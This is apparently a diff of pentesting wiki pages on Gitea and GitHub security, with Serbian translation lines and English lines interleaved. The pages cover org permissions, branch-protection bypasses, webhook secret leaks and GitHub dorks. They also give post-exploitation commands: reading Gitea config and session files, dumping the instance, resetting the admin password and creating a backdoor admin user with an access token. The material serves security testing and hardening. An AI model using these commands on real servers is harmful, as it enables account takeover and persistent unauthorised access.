- **Whitelist Restricted Push**: Na isti način, ako ste deo ove liste, pošaljite na granu.
- **Omogući Merge Whitelist**: Ako postoji whitelist za spajanje, morate biti unutar nje.
- **Zahtevajte odobrenja veće od 0**: Tada... morate kompromitovati drugog korisnika.
- **Ograničite odobrenja na whitelisted**: Ako samo whitelisted korisnici mogu odobriti... morate kompromitovati drugog korisnika koji je unutar te liste.
- **Odbacite zastarela odobrenja**: Ako odobrenja nisu uklonjena novim commit-ima, mogli biste preuzeti već odobren PR da ubacite svoj kod i spojite PR.
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
Napomena: **ako ste admin org/repo** možete zaobići zaštite.
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
- **Require approvals is bigger than 0**: Then... you need to compromise another user
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
### Enumeracija Webhook-ova
Note that **if you are an org/repo admin** you can bypass the protections.
**Webhook-ovi** su sposobni da **pošalju specifične gitea informacije na neka mesta**. Možda ćete moći da **iskoristite tu komunikaciju**.\
Međutim, obično se postavlja **tajna** koju ne možete **dobiti** u **webhook-u** koja će **sprečiti** spoljne korisnike koji znaju URL webhook-a, ali ne i tajnu, da **iskoriste taj webhook**.\
Ali u nekim prilikama, ljudi umesto da postave **tajnu** na njeno mesto, **postavljaju je u URL** kao parametar, tako da **proveravanje URL-ova** može omogućiti da **pronađete tajne** i druga mesta koja biste mogli dalje iskoristiti.
### Enumerate Webhooks
Webhook-ovi se mogu postaviti na **repo i na org nivou**.
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
## Post Eksploatacija
Webhooks can be set at **repo and at org level**.
### Unutar servera
## Post Exploitation
Ako ste nekako uspeli da uđete u server na kojem se gitea pokreće, trebali biste potražiti gitea konfiguracioni fajl. Po defaultu se nalazi u `/data/gitea/conf/app.ini`
### Inside the server
U ovom fajlu možete pronaći **ključeve** i **lozinke**.
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
U gitea putanji (po defaultu: /data/gitea) možete pronaći i zanimljive informacije kao što su:
In this file you can find **keys** and **passwords**.
- **sqlite** DB: Ako gitea ne koristi eksternu bazu podataka, koristiće sqlite bazu.
- **sesije** unutar foldera sesija: Pokretanjem `cat sessions/*/*/*` možete videti korisnička imena prijavljenih korisnika (gitea takođe može sačuvati sesije unutar DB).
- **jwt privatni ključ** unutar jwt foldera.
- Više **osetljivih informacija** može se pronaći u ovom folderu.
In the gitea path (by default: /data/gitea) you can find also interesting information like:
Ako ste unutar servera, takođe možete **koristiti `gitea` binarni fajl** za pristup/modifikaciju informacija:
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
- The **jwt private key** inside the jwt folder
- More **sensitive information** could be found in this folder
- `gitea dump` će dumpovati gitea i generisati .zip fajl.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` će generisati token naznačenog tipa (persistence).
- `gitea admin user change-password --username admin --password newpassword` promenite lozinku.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` kreirajte novog admin korisnika i dobijte pristupni token.
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
- `gitea dump` will dump gitea and generate a .zip file
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
- `gitea admin user change-password --username admin --password newpassword` Change the password
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,103 +1,106 @@
# Osnovne Gitea Informacije
# Basic Gitea Information
{{#include ../../banners/hacktricks-training.md}}
## Osnovna Struktura
## Basic Structure
Osnovna struktura Gitea okruženja je grupisanje repozitorijuma po **organizacijama**, svaka od njih može sadržati **several repositories** i **several teams**. Međutim, imajte na umu da, kao i na github-u, korisnici mogu imati repozitorijume van organizacije.
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
Štaviše, **korisnik** može biti **član** **različitih organizacija**. Unutar organizacije, korisnik može imati **različite dozvole za svaki repozitorijum**.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
Korisnik može biti i **deo različitih timova** sa različitim dozvolama za različite repozitorijume.
A user may also be **part of different teams** with different permissions over different repos.
I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
And finally **repositories may have special protection mechanisms**.
## Dozvole
## Permissions
### Organizacije
### Organizations
Kada se **organizacija kreira**, tim pod nazivom **Owners** se **kreira** i korisnik se stavlja unutar njega. Ovaj tim će dati **admin pristup** nad **organizacijom**, te **dozvole** i **ime** tima **se ne mogu menjati**.
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
**Org admins** (vlasnici) mogu odabrati **vidljivost** organizacije:
**Org admins** (owners) can select the **visibility** of the organization:
- Javno
- Ograničeno (samo prijavljeni korisnici)
- Privatno (samo članovi)
- Public
- Limited (logged in users only)
- Private (members only)
**Org admins** takođe mogu naznačiti da li **repo admins** mogu **dodavati ili uklanjati pristup** za timove. Takođe mogu naznačiti maksimalan broj repozitorijuma.
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
Kada se kreira novi tim, biraju se nekoliko važnih podešavanja:
When creating a new team, several important settings are selected:
- Naznačuje se **repozitorijumi organizacije kojima će članovi tima moći da pristupaju**: specifični repozitorijumi (repozitorijumi gde je tim dodat) ili svi.
- Takođe se naznačuje **da li članovi mogu kreirati nove repozitorijume** (kreator će dobiti admin pristup).
- **Dozvole** koje će **članovi** repozitorijuma **imati**:
- **Administrator** pristup
- **Specifičan** pristup:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
![](<../../images/image (118).png>)
### Timovi & Korisnici
### Teams & Users
U repozitorijumu, **org admin** i **repo admins** (ako to dozvoljava org) mogu **upravljati ulogama** dodeljenim saradnicima (drugim korisnicima) i timovima. Postoje **3** moguće **uloge**:
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
- Administrator
- Pisanje
- Čitanje
- Write
- Read
## Gitea Autentifikacija
## Gitea Authentication
### Web Pristup
### Web Access
Korišćenje **korisničkog imena + lozinke** i potencijalno (i preporučeno) 2FA.
Using **username + password** and potentially (and recommended) a 2FA.
### **SSH Ključevi**
### **SSH Keys**
Možete konfigurisati svoj nalog sa jednim ili više javnih ključeva koji omogućavaju povezani **privatni ključ da izvršava radnje u vaše ime.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Ključevi**
#### **GPG Keys**
Ne **možete se pretvarati da ste korisnik sa ovim ključevima**, ali ako ih ne koristite, može biti moguće da **budete otkriveni zbog slanja commit-a bez potpisa**.
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
### **Lični Pristupni Tokeni**
### **Personal Access Tokens**
Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem nalogu**. Lični pristupni token daje potpun pristup vašem nalogu: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Aplikacije
### Oauth Applications
Baš kao lični pristupni tokeni, **Oauth aplikacije** će imati **potpun pristup** vašem nalogu i mestima kojima vaš nalog ima pristup, jer, kao što je naznačeno u [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), opsezi još nisu podržani:
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
![](<../../images/image (194).png>)
### Ključevi za Implementaciju
### Deploy keys
Ključevi za implementaciju mogu imati pristup samo za čitanje ili pisanje repozitorijumu, tako da mogu biti zanimljivi za kompromitovanje specifičnih repozitorijuma.
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
## Zaštite Grana
## Branch Protections
Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
**Zaštite grana repozitorijuma** mogu se naći na _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Različite zaštite mogu se primeniti na granu (kao na master):
Different protections can be applied to a branch (like to master):
- **Onemogući Push**: Niko ne može da pošalje na ovu granu
- **Omogući Push**: Svako ko ima pristup može da pošalje, ali ne može da forsira push.
- **Whitelist Ograničen Push**: Samo odabrani korisnici/timovi mogu da pošalju na ovu granu (ali ne i forsirati push)
- **Omogući Merge Whitelist**: Samo korisnici/timovi sa liste mogu da spajaju PR-ove.
- **Omogući Status provere:** Zahteva da provere statusa prođu pre spajanja.
- **Zahteva odobrenja**: Naznačite broj odobrenja potrebnih pre nego što se PR može spojiti.
- **Ograniči odobrenja na belu listu**: Naznačite korisnike/timove koji mogu odobriti PR-ove.
- **Blokiraj spajanje na odbijenim recenzijama**: Ako su tražene izmene, ne može se spojiti (čak i ako ostale provere prođu)
- **Blokiraj spajanje na zvanične zahteve za recenziju**: Ako postoje zvanični zahtevi za recenziju, ne može se spojiti
- **Odbaci zastarele odobrenja**: Kada su novi commit-i, stara odobrenja će biti odbijena.
- **Zahteva Potpisane Commit-e**: Commit-i moraju biti potpisani.
- **Blokiraj spajanje ako je pull request zastareo**
- **Zaštićeni/Nezaštićeni obrasci datoteka**: Naznačite obrasce datoteka koje treba zaštititi/nezaštititi od izmena
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
> [!NOTE]
> Kao što možete videti, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master**, na primer, da biste kompromitovali CI/CD pipeline.
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,236 +2,249 @@
{{#include ../../banners/hacktricks-training.md}}
## Šta je Github
## What is Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na visokom nivou, **GitHub je veb sajt i usluga zasnovana na oblaku koja pomaže programerima da čuvaju i upravljaju svojim kodom, kao i da prate i kontrolišu promene u svom kodu**.
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
### Osnovne informacije
### Basic Information
{{#ref}}
basic-github-information.md
{{#endref}}
## Spoljna rekognosciranja
## External Recon
Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni.
Github repositories can be configured as public, private and internal.
- **Privatni** znači da će **samo** ljudi iz **organizacije** moći da im pristupe
- **Interni** znači da će **samo** ljudi iz **preduzeća** (preduzeće može imati nekoliko organizacija) moći da mu pristupe
- **Javni** znači da će **svi na internetu** moći da mu pristupe.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenje osetljivih informacija** **u svakom repozitorijumu**.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
### Github Dorks
Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika, repozitorijuma ili organizacije**. Stoga, sa listom stringova koji će se pojaviti blizu osetljivih informacija, možete lako **pretražiti potencijalne osetljive informacije u vašem cilju**.
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Alati (svaki alat sadrži svoju listu dorks):
Tools (each tool contains its list of dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Curenja
### Github Leaks
Imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a).
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Alati (svaki alat sadrži svoju listu regex-a):
Tools (each tool contains its list of regexes):
Proverite ovu stranicu: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Kada tražite curenja u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ima** koje sadrže tajne!
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
### Spoljni Forkovi
### External Forks
Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](#execution-from-a-external-fork).
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
### Github Curenja u obrisanim/internim forkovima
### Github Leaks in deleted/internal forks
Čak i ako su obrisani ili interni, može biti moguće dobiti osetljive podatke iz forkova github repozitorijuma. Proverite ovde:
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Ojačavanje organizacije
## Organization Hardening
### Privilegije članova
### Member Privileges
Postoje neke **podrazumevane privilegije** koje se mogu dodeliti **članovima** organizacije. Ove se mogu kontrolisati sa stranice `https://github.com/organizations/<org_name>/settings/member_privileges` ili iz [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Osnovne dozvole**: Članovi će imati dozvolu None/Read/write/Admin za repozitorijume organizacije. Preporučuje se **None** ili **Read**.
- **Forkovanje repozitorijuma**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da fork-uju repozitorijume organizacije.
- **Kreiranje stranica**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica.
- **Zahtevi za pristup integracijama**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to.
- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_
- **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi čine stvari **javnim**, uverite se da je ovo **onemogućeno**.
- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_
- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume.**
- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_
- **Dozvoliti članovima da kreiraju timove**: Ako je omogućeno, svaki **član** organizacije će moći da **kreira** nove **timove**. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno.
- _Nisam mogao pronaći ove informacije u API-ju, podelite ako ih imate_
- **Još stvari se mogu konfigurisati** na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost.
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
### Podešavanja akcija
### Actions Settings
Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa stranice `https://github.com/organizations/<org_name>/settings/actions`.
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Imajte na umu da se sve ove konfiguracije takođe mogu postaviti na svakom repozitorijumu nezavisno
> Note that all this configurations can also be set on each repository independently
- **Github akcije politike**: Omogućava vam da navedete koji repozitorijumi mogu pokretati radne tokove i koji radni tokovi bi trebali biti dozvoljeni. Preporučuje se da **specificirate koji repozitorijumi** bi trebali biti dozvoljeni i ne dozvolite svim akcijama da se pokreću.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request radni tokovi od spoljnjih saradnika**: Preporučuje se da se **zahteva odobrenje za sve** spoljne saradnike.
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate_
- **Pokretanje radnih tokova iz fork pull zahteva**: Veoma je **nepreporučljivo pokretati radne tokove iz pull zahteva** jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum.
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih imate_
- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog za pokretanje radnih tokova.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integracije
### Integrations
_Javite mi ako znate API krajnju tačku za pristup ovim informacijama!_
_Let me know if you know the API endpoint to access this info!_
- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničavanje pristupa svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda).
- **Instalirane GitHub aplikacije**: Preporučuje se dozvoliti samo potrebne (nakon pregleda).
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
## Rekognosciranje i napadi zloupotrebom kredencijala
## Recon & Attacks abusing credentials
Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu.
For this scenario we are going to suppose that you have obtained some access to a github account.
### Sa korisničkim kredencijalima
### With User Credentials
Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole imaju obični članovi**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima** i **kako su repozitorijumi zaštićeni.**
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako možete i da **prođete tu proveru**.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Imajte na umu da ako **uspete da ukradete `user_session` kolačić** (trenutno konfigurisano sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za kredencijalima ili 2FA.
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
Proverite odeljak ispod o [**zaobilaženju zaštite grana**](#branch-protection-bypass) u slučaju da je korisno.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
### Sa korisničkim SSH ključem
### With User SSH Key
Github omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (bez primene 2FA).
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neke privilegije**, međutim ne možete ga koristiti za pristup github API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\<github_username>.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
#### GPG Ključevi
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
Kao što je objašnjeno [**ovde**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), ponekad je potrebno potpisati commit-e ili biste mogli biti otkriveni.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Proverite lokalno da li trenutni korisnik ima neki ključ sa:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Sa korisničkim tokenom
Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-github-information.md#personal-access-tokens).
### With User Token
Korisnički token može da se koristi **umesto lozinke** za Git preko HTTPS-a, ili može da se koristi za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje.
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
### Sa Oauth aplikacijom
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
Za uvod o [**Github Oauth aplikacijama proverite osnovne informacije**](basic-github-information.md#oauth-applications).
### With Oauth Application
Napadač može da kreira **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Ovo su [opsezi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti opsege koji se traže pre nego što ih prihvatite.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Štaviše, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup aplikacijama trećih strana** informacijama/repozitorijumima/radnjama vezanim za organizaciju.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
### Sa Github aplikacijom
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Za uvod o [**Github aplikacijama proverite osnovne informacije**](basic-github-information.md#github-applications).
### With Github Application
Napadač može da kreira **malicious Github aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Štaviše, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup aplikacijama trećih strana** informacijama/repozitorijumima/radnjama vezanim za organizaciju.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
#### Imitirati GitHub aplikaciju sa njenim privatnim ključem (JWT → tokeni za pristup instalaciji)
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Ako dobijete privatni ključ (PEM) GitHub aplikacije, možete potpuno imitirati aplikaciju kroz sve njene instalacije:
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
- Generišite kratkoročni JWT potpisan privatnim ključem
- Pozovite GitHub App REST API da enumerišete instalacije
- Mintujte tokene za pristup po instalaciji i koristite ih za listanje/kloniranje/pushovanje u repozitorijume dodeljene toj instalaciji
